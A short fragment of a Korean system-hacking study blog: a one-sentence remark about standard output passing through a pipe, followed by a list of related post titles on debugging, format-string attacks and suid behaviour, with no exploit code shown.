입력받은내용을 표준출력으로

보내고 , 이것은 파이프를 따라 전해집니다.



'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
suid 동작  (0) 2015.10.30

+ Recent posts